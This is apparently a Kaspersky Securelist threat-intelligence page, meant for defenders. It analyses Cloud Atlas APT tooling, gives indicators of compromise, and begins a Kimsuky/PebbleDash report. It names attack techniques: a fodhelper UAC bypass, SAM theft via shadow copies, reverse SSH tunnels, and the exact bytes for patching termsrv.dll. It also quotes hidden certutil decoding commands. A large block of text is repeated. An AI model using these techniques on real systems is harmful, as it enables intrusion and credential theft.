In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40 C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33 C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7 C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453 C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29 C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016 C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1 C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9 C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419 C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8 dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3 –
25C8ED0511375DCA57EF136AC3FA0CCA C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8 C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769 C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160 C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

Securelist
Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload 22 May 2026 at 11:12

Cloud Atlas activity in the second half of 2025 and early 2026: new tools and a new payload

Securelist

By: Kaspersky

22 May 2026 at 11:12

In 2025, we observed pervasive SSH tunnel activity, which has remained active into 2026, affecting many government organizations and commercial companies in Russia and Belarus. Behind some of this activity is Cloud Atlas, a group we have known since 2014. During our investigation, we identified new tools used by this group, as well as indicators of compromise.

The group is back to sending out archives containing malicious shortcuts that launch PowerShell scripts. This technique is employed in addition to the previously described use of malicious documents, which exploit an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.

Technical details

Initial infection

As for the primary compromise, Cloud Atlas remains consistent in using phishing. In the observed campaigns, the attackers emailed a ZIP archive containing an LNK file as an attachment.

Malware execution flow

Attackers use LNK shortcuts to covertly execute PowerShell scripts hosted on external resources. The command line of the shortcut:

Example of the PowerShell script downloaded and executed by the shortcut:

Example of the PowerShell script downloaded by the shortcut

Actions performed by the downloaded PowerShell:

Step	Action	Description
1	Drops “$temp\fixed.ps1”	Pre-staging: places the main payload locally in advance to ensure an execution capability independent of subsequent network connectivity or C2 availability.
2	Creates “Run” registry key “YandexBrowser_setup” for “$temp\fixed.ps1” startup	Early persistence: guarantees execution upon the next logon or reboot. If the script is interrupted during later stages, the payload will still activate automatically.
3	Downloads and drops “$temp\rar.zip” Extracts “*.pdf” from the downloaded “$temp\rar.zip”	Payload delivery: retrieves the decoy archive from the remote server to prepare user-facing content for the distraction phase.
4	Extracts “*.pdf” from the downloaded “$temp\rar.zip”	Decoy preparation: unpacks the legitimate-looking document so it can be executed silently without requiring user interaction.
6	Opens extracted decoy document “*.pdf” with user’s default software	User distraction: opens a convincing document to maintain user engagement and creates a legitimate workflow appearance to buy additional 30–120 seconds for background operations.
6	Executes “taskkill.exe /F /Im winrar.exe”	Process concealment: terminates the archive extractor to prevent the user from seeing the archive contents or noticing unexpected file extraction activity.
7	Searches and deletes “rar.zip”, “.pdf.zip” and “.pdf.lnk”	Anti-forensic cleanup: removes the initial infection artifacts before activating the main payload, reducing the number of disk traces available for incident response or EDR correlation.
8	Executes “$temp\fixed.ps1”	Controlled execution: launches the main payload only after persistence is secured, the user is distracted, and access traces are cleaned up.

Fixed.ps1 (loader)

The primary purpose of the Fixed.ps1 script is to deliver and install subsequent malware onto the compromised system, specifically VBCloud and PowerShower. Fixed.ps1 establishes persistence (by adding itself to registry Run keys), creates a decoy for the user (by opening a PDF document), and executes the next stages of the attack.

Fixed.ps1::Payload (VBCloud dropper)

Example of the fixed.ps1::Payload (VBCloud dropper)

This module functions as a dropper for the VBCloud backdoor. It drops two files onto the infected machine:

video.vbs: the loader of the backdoor,VBCloud::Launcher. This is a VBScript that decrypts the contents of video.mds (typically using RC4 with a hardcoded key) and executes it in memory.
video.mds: the encrypted body of the backdoor, VBCloud::Backdoor. This is the main module that connects to a C2 server to receive additional scripts or execute built-in commands. This backdoor is designed to function as a stealer, specifically targeting files with extensions of interest (such as DOC, PDF, XLS) and exfiltrating them.

Fixed.ps1::Payload (PowerShower)

This module installs a second backdoor called PowerShower on the system. We don’t have the specific script that performs this installation, but we assume it’s performed by a script similar to fixed.ps1::Payload (VBCloud dropper).

Unlike VBCloud, which focuses on file theft, PowerShower is primarily used for network reconnaissance and lateral movement within the victim’s infrastructure. PowerShower can perform the following tasks:

Collect information about running processes, administrator groups, and domain controllers.
Download and execute PowerShell scripts from the C2 server.
Conduct “Kerberoasting” attacks (stealing password hashes of Active Directory accounts).

PowerShower is dropped onto the system via the path ‘C:\Users\[username]\Pictures\googleearth.ps1’.

Contents of the googleearth.ps1(PowerShower)

PowerShower::Payload (credential grabber)

PowerShower downloads an additional script for stealing credentials. It performs the following actions:

Creates a Volume Shadow Copy of the C:\ drive.
Copies the SAM (stores local user password hashes) and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
The script is launched in several stages. To execute with high privileges, the script uses a UAC bypass technique via fodhelper.exe (a built-in Windows utility). This allows PowerShell to run as an administrator without directly prompting the user, which could otherwise raise suspicion.

The full launch chain looks like this:

The full Base64-decoded script is given below.

Multi-user RDP by patching termsrv.dll

Moving laterally across the victim’s network, the attackers executed a suspicious PowerShell script named rdp_new.ps1 (MD5 1A11B26DD0261EF27A112CE8B361C247):

The script is designed to allow multiple RDP sessions in Windows 10 by patching the termsrv.dll file. Termsrv.dll is the core Windows library that enforces Remote Desktop Services rules.

By default, Windows limits the number of simultaneous RDP sessions. Removing this restriction allows attackers to operate on the machine in the background without disconnecting the legitimate user, thereby reducing the likelihood of detection.

At first, the script enables RDP on the firewall and downgrades the RDP security settings:

Before modifying termsrv.dll, the script takes ownership and assigns itself full permissions. Then the script finds the sequence of bytes 39 81 3C 06 00 00 ?? ?? ?? ?? ?? ?? and replaces it with B8 00 01 00 00 89 81 38 06 00 00 90. After these manipulations, the script restarts the RDP service.

Example of script

The patched version allows multiple concurrent logins so attackers can stay connected without disrupting the legitimate user, thereby reducing suspicion.

Reverse SSH tunneling

As mentioned above, during this wave of attacks, the adversaries widely deployed reverse SSH tunnels to many hosts of interest. The compromised machine initiates an SSH connection to an attacker-controlled server, which allows attackers to bypass standard firewall rules via establishing outbound connections.

That way, even if the primary backdoor is discovered, the attackers can maintain control through the SSH tunnel.

To install a reverse SSH tunnel on a victim’s host, the attackers run VBS scripts via PAExec or PsExec.

We’ve seen three types of scripts:

Gen.vbs (WriteToSchedulerGenerateKey.vbs) generates key for SSH tunnel.
Run.vbs (WriteToSchedulerRunSSH.vbs) runs reverse SSH tunnel.
Kill.vbs (WriteToSchedulerKillSSH.vbs) stops reverse SSH tunnel via taskkill.exe.

To achieve persistence, the attackers added a new scheduled task in Windows:

In some cases, before establishing a reverse SSH tunnel, attackers set new access permissions to the folder containing the private key to prevent the legitimate user or system administrators from easily accessing or modifying it:

Patched OpenSSH

Some OpenSSH binaries used by the attackers had their imports modified. Instead of libcrypto.dll, the SSH executable imports syruntime.dll, which was placed in the same folder as the binary. This was likely done to evade detection and ensure stealth.

In addition, we found a portable version of OpenSSH, presumably compiled by the adversaries:

RevSocks

In addition to Reverse SSH tunnels, the attackers installed RevSocks using the same infrastructure. RevSocks is an alternative tool to SSH for establishing tunnels and proxy connections, written in Golang. This tool allows direct connection to workstations on the local network. It also allows attackers to gain access to other segments of the victim’s network by using the machine as a gateway. In some cases, C2 addresses were hardcoded into the binary; in other cases, the C2 was passed in command line arguments.

There were also reverse SOCKS samples with hardcoded C2 addresses:

Tor tunneling

To maintain control over the compromised host, the Tor network was used in some cases. A minimal set of a Tor executable and configuration files, necessary for launching HiddenService, was copied to the system directories of infected devices. The name of the Tor Browser executable file was modified. As a result, the infected machine was accessible via RDP from the Tor network when accessing the generated .onion domain.
Below is an example of a configuration file for routing connections from Tor to RDP ports on the local network, as well as example command lines for logging into Tor.

Example of TOR configuration file

PowerCloud

We analyzed a new Cloud Atlas tool, PowerCloud. It collects user data with administrator privileges and writes this information to Google Sheets in Base64 format.

The tool represents an obfuscated PowerShell script. In most cases, it is packaged into an executable file using the PS2EXE utility, but we have also encountered variants in the form of a separate PowerShell script.

To find administrators on the victim host, the tool executes the following command:

This information is appended with the computer name and current date, the data is encoded in base64, and then the collected data is added to an existing Google Sheet.

PowerCloud script

Browser checker

Additionally, the attackers used another PowerShell script (MD5 5329F7BFF9D0D5DB28821B86C26D628F), compiled into an executable file via PS2EXE, which checks whether browser processes (Chrome, Edge, Firefox, and other) are running. This helps detect when the user is working on the computer. This can be used to choose the optimal time for conducting attacks (for example, when the user is away but their browser is still open) or simply to gather information about the victim’s habits.

The information about running browsers is written to a log file on the local host.

Fragment of the deobfuscated script

Victims

According to our telemetry, in late 2025 and early 2026, the identified targets of the described malicious activities are located in Russia and Belarus. The targeted industries mostly include government agencies and diplomatic entities.

We attribute the activity described in this report to the Cloud Atlas APT group with a high degree of confidence. The group used techniques and tools described previously, such as the initial access vector, the Python script for information gathering, and the Tor application for forwarding ports to the Tor network. The victim profile and geography also matches the Cloud Atlas targets.

We couldn’t help but notice some parallels with recent Head Mare activity. The PhantomHeart backdoor (available in Russian only), attributed to Head Mare and used to create an SSH tunnel, was placed in directories actively used by Cloud Atlas:

C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB

However, TTPs are still differentiated.

Conclusion

For more than ten years, the Cloud Atlas group has continued its activities and expanded its arsenal. Over the course of last year, many targeted campaigns in general were found to employ ReverseSocks, SSH and Tor, and the use of these utilities was no exception for Cloud Atlas. Creating such backup control channels using publicly available utilities significantly complicates the complete disruption of attackers’ actions on compromised systems. We will continue to closely monitor the group’s activity and describe their new tools and techniques.

Indicators of compromise

PowerCloud

7A95360B7E0EB5B107A3D231ABBC541A C:\Windows\wininet.exe
C0D1EAA15A2CEFBAB9735787575C8D8E C:\Windows\LiveKernelReports\update.exe
D5B38B252CF212A4A32763DE36732D40 C:\Windows\ime\imejp\dicts\i39884.exe
3C75CEDB1196DF5EAB91F31411ED4B33 C:\pla\reports.exe
42AC350BFBC5B4EB0FEDBA16C81919C7 C:\ProgramData\update_[redacted].exe
493B901D1B33EB577DB64AADD948F9CE C:\Windows\migration\wtr\MicrosoftBrowser.exe
2CABB721681455DAE1B6A26709DEF453 C:\Windows\pla\reports\winlog.exe
1B39E86EB772A0E40060B672B7F574F1 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
1D401D6E6FC0B00AAA2C65A0AC0CFD6B C:\Windows\setup\scripts\install\software\activation\aact\dfsvc.exe
40A562B8600F843B717BC5951B2E3C29 C:\Windows\branding\scat.exe
F721A76DEB28FD0B80D27FCE6B8F5016 C:\Windows\ime\imekr\dicts\dfsvc.exe
D3C8AFD22BAA306FF659DB1FAC28574A C:\ProgramData\update_[redacted].exe
6D7B2D1172BBDB7340972D844F6F0717 C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
C:\Users\[redacted]\AppData\Local\1c\1cv8\svc.exe
9769F43B9DE8D19E803263267FA6D62E C:\Users\[redacted]\AppData\Local\1c\1cv8\1cv8ud.exe
63B6BE9AE8D8024A40B200CCCB438F1D C:\Windows\notepad.exe
6AA586BCC45CA2E92A4F0EF47E086FA1 C:\Windows\splwow32.exe
EBA3BCDB19A7E256BF8E2CC5B9C1CCA9 C:\Users\[redacted]\Desktop\soc\stant.exe
B4E183627B7399006C1BC47B3711E419 C:\WINDOWS\ime\service.exe
F56B31A4B47AD3365B18A7E922FBA1A8 dfsvc.exe
F6F62456FB0FCC396FB654CBED339BC3 –
25C8ED0511375DCA57EF136AC3FA0CCA C:\branding\dwmw.exe

Browser checker

5329F7BFF9D0D5DB28821B86C26D628F C:\ProgramData\checker_[redacted].exe

ReverseSocks

2B4BA4FACF8C299749771A3A4369782E C:\Windows\PLA\System\bounce.exe
C:\Windows\pla\print_status.exe
BA9CE06641067742F2AFC9691FAFF1DC C:\ProgramData\hp\client.exe
FB0F8027ACF1B1E47E07A63D8812ED50 C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe
BBF1FA694122E07635DEEAC11AD712F8 C:\Windows\System32\HostManagement.exe
F301AA3D62B5095EEC4D8E34201A4769 C:\Windows\ime\imejp\msfu.exe
F9C3BBE108566D1A6B070F9C5FB03160 C:\Windows\ime\imetc\help\IMTCEN14.exe

Malicious MS Office documents

369B75BDCDED16469EDE7AB8BEDCFAE1
9EAAE9491F6A50D6DF0BE393734A44CB
3E6E9DF00A764B348EC611EE8504ACA0
9BD788F285E32A05E6591D1EB36EBFFC
F42085522EC2EBB16EDCF814E7C330AD
2042EB5D52F0B535A1CE6B6F954C8C2B
2AA1E9765EF6B00B94A9B6BE0041436A
36120F5E9411BCBAC7104EF3FA964ED2
5000A353399500BC78381DC95B6ED2DC
579A9952D31CAD801A3988DBE7914CE7
867B634588C0FD6B26684D502C15AB03
38FA4306FA4406BA31CF171AF4D36E34
83EDDE9F7EEEFAC0363413972F35572B
CC751619BFEC0DC4607C17112B9E3B2C
A632858F14B36F03D0F213F5F5D6BFF2
097CA205AD9E3B72018750280904718C
69121C36EB8BF77962DCA825FCFFD873
C5702EB250F855C8C872FFFB9BB656ED
ED34F5A136FBA4FDEA976570FAA33ED7
0577DB70844E88B32B954906E2F20798
28ECF8FB6719E14231B94B4D37629B0E
0857C84B62289A1A9F29E19244E9A499
0C514E137860F489E3801213460EF938
50568B1F9335A7E3BA4E5DF035A8FB86
7F776AD200287D6DE14A29158C457179
51F7F794ED43FB90D0F8EBBB5EFFE628
B8C753DD254509FBA5077FFD5067EAB0
BC3739DEC8CD8F54F3F60A85F3ED600E
EC076CD21C483A40156F4E40D08DADED
216CB7F31D383C0DD892B284DF05A495
116F59E70A9DF97F4ADAEA71EECB1E9A
7242AC065B50BCDE9308756B49DBADCB
8158552950D2E13B075001CE0C52AA97
A75DBED984963B9AB21309C5B2F8FD9B
0320DD389FDBAB25D46792BD2817675E
5339D1A666F3E40FE756505CF1D87D4B
67D7E3AEEB673BF60C59361C12A4ED81
89572F0ED20791A5AC9FC4267D67CCB0
B6AAE073E7BFEBF4D643C2BBEB5C02E1
344CA9EA07CD4AC90EF27F8890D4EC05

Domains and IPs

Reverse SSH/Socks domains

tenkoff[.]org
cloudguide[.]in
goverru[.]com
kufar[.]org
ultimatecore[.]net
spbnews[.]net
onedrivesupport[.]net

Malicious and compromised domains used in MS Office documents

amerikastaj[.]com
bigbang[.]me
paleturquoise-dragonfly-364512.hostingersite[.]com
wizzifi[.]com
totallegacy[.]org
mamurjor[.]com
landscapeuganda[.]com
lafortunaitalian.co[.]uk
kommando[.]live
internationalcommoditiesllc[.]com
humanitas[.]si
fishingflytackle[.]com
firsai.tipshub[.]net
alnakhlah.com[.]sa
allgoodsdirect.com[.]au
agenciakharis.com[.]br

Powershell payload staging

istochnik[.]org
znews[.]neti
investika-club[.]com
194.102.104[.]207
46.17.45[.]56
46.17.45[.]49
46.17.44[.]125
46.17.44[.]212
185.22.154[.]73
194.87.196[.]163
195.58.49[.]9
93.125.114[.]193
93.125.114[.]57
45.87.219[.]116
37.228.129[.]224
185.53.179[.]136
185.126.239[.]77
5.181.21[.]75
146.70.53[.]171
45.15.65[.]134
185.250.181[.]207
81.30.105[.]71

File paths

VBS scripts

WriteToSchedulerKillSSH.vbs
Create_task_day.vbs
WriteToSchedulerGenerateKey.vbs
C:\Windows\INF\Run.vbs
c:\Windows\INF\install.vbs
Update.vbs
c:\Windows\PLA\System\Gen.vbs
C:\Windows\INF\GenK.vbs
c:\Windows\PLA\System\Kill.vbs
c:\Windows\PLA\System\Run.vbs

ssh.exe

c:\Windows\ime\imejp\Asset.exe
c:\Windows\PLA\System\conhosts.exe
c:\Windows\INF\BITS\esentprf.exe
c:\Windows\INF\MSDTC\RuntimeBrokers.exe
c:\Windows\inf\diagnostic.exe

ReverseSocks

C:\Windows\PLA\System\bounce.exe
C:\ProgramData\hp\client.exe
C:\Windows\System32\timecontrolsvc\vmnetdrv64.exe

Tor client

C:\Windows\Resources\Update\Intel.exe
C:\Windows\INF\package.exe

Securelist
Kimsuky targets organizations with PebbleDash-based tools 14 May 2026 at 13:00

Kimsuky targets organizations with PebbleDash-based tools

Securelist

By: Sojun Ryu

14 May 2026 at 13:00

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number	Filename	Filename (translated to English)	Detection date	MD5	Malware deployed
1	[별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse	Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse	August 28, 2025	995a0a49ae4b244928b3f67e2bfd7a6e	HelloDoor
2	2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse	Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse	December 14, 2025	52f1ff082e981cbdfd1f045c6021c63f	httpMalice
3	security_20260126.scr	–	January 26, 2026	65fc9f06de5603e2c1af9b4f288bb22c	Reger Dropper, MemLoad, httpTroy
4	노현정님.pdf.jse	Ms. Noh Hyun-jung.pdf.jse	January 28, 2026	8e15c4d4f71bdd9dbc48cd2cabc87806	AppleSeed chain
5	대국민서비스관리운영체계현장점검증적(초안).pif	On-site Inspection Evidence for the Public Service Management System (Draft).pif	February 5, 2026	8983ffa6da23e0b99ccc58c17b9788c7	Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

